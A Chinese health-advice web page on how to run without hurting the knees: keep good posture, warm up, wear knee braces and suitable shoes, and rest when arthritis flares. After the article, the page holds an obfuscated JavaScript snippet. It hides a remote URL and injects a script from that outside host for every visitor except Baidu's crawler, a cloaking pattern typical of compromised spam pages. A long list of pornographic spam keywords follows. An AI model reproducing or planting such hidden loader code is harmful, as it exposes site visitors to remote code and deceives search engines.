當前位置:首頁 > 健康 > 運動健身 > 正文

跑步如何不傷膝蓋呢

2017-04-16 09:39:21  來源:360常識網   熱度:
導語:經常鍛煉的人一定會想知道如何跑步才能夠不損傷膝蓋因為損傷膝蓋對人的身體非常的無力,尤其到了年老的時候,行動不便,再加上膝蓋疼痛,對

經常鍛煉的人一定會想知道如何跑步才能夠不損傷膝蓋因為損傷膝蓋對人的身體非常的無力,尤其到了年老的時候,行動不便,再加上膝蓋疼痛,對身體是非常不好的。所以一定要注意,在跑步的時候對膝蓋的保護,可以用一些防護的器具,再著最重要的就是要保持一個正確標準的跑步姿勢,選擇一雙合適的運動鞋對自己的跑步,也非常有幫助。

跑步時要保持一個標準的跑步姿勢,這樣膝蓋的受力才會均勻,才不容易造成較大的磨損,跑步時注意控制人身體的重心,也要加大人的腳掌和地面的接觸面積,這都是有效減輕膝蓋傷害的跑步姿勢。

一些人在跑步前,什么熱身運動都不做,直接開始,這樣人體的肌肉和韌帶都沒拉開,關節也沒有活動起來,貿然跑起來,是很容易造成膝蓋韌帶的拉傷,同時膝蓋關節部位的潤滑液分泌也不夠,磨損會更嚴重的。

本身膝蓋有磨損傷害或者肌肉拉傷的朋友們,最好佩戴運動護具,如護膝等,這樣可以減輕膝蓋磨損帶來的疼痛感,讓膝蓋部位更加靈活,得到合適的保護和防護。

跑步的時候,我們要穿跑鞋,不能穿高跟鞋、皮鞋、涼鞋等等,這些鞋子都是不適合跑步時候穿的,我們在選擇跑鞋的時候,不要以為專注品牌好壞,還是要以鞋子是否合腳、透氣、舒適與否為主。

有的人本身就存在膝蓋上的關節炎癥,遇到臨近下雨天,都會發作起來,這個時候如果跑步,膝蓋肯定會越來越疼,對膝蓋關節炎的恢復是非常不好的,這種情況,一定要停止運動,減少走動,并及時治療。

如果你本身就患有關節炎或者是其他的疾病,那就要注意在天氣不好的時候避免外出運動,否則會導致膝蓋受傷更加嚴重。出現膝蓋受傷之后一定要注意多休息,但是最重要的就是在運動之前保護自己的膝蓋,不要受傷。在跑步之前做一個熱身是非常有利的,這樣可以保護自己不受傷。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久草视频精品在线| 日韩精品视频观看| 久久久久国产成人精品亚洲午夜| 久久精品国产亚洲AV无码娇色| 亚洲av无码成人精品区| 国产精品手机在线| 亚洲av永久无码精品国产精品 | 精品一卡2卡三卡4卡免费视频| 国产精品久久久久久亚洲影视 | 精品国产三级a乌鸦在线观看| 国产日韩精品视频一区二区三区| 真实国产乱子伦精品视频| 精品国产福利在线观看一区| 91精品导航在线网址免费| 中文字幕精品久久| 香蕉99久久国产综合精品宅男自 | 久久99国产精品| 久久精品女人天堂AV麻| 日韩精品久久不卡中文字幕| 亚洲午夜精品在线| 久久精品免视看国产陈冠希| 丰满人妻熟妇乱又仑精品| 精品一区二区AV天堂| 国产精品久久久久久久| 国产成人精品日本亚洲专| 老司机性色福利精品视频| 国产精品无码av在线播放| 精品国产污污免费网站入口在线| 麻豆国产精品一二三在线观看| 国产成人精品日本亚洲11| 亚洲一区精品中文字幕| 久久精品国产精品青草app| 国产伦精品一区二区三区视频金莲 | 国产精品一区在线播放| 999国产精品999久久久久久| 亚洲αv在线精品糸列| 日韩精品无码一区二区三区四区| 国产精品午夜免费观看网站| 亚洲第一区精品观看| 精品乱人伦一区二区| 国产揄拍国内精品对白|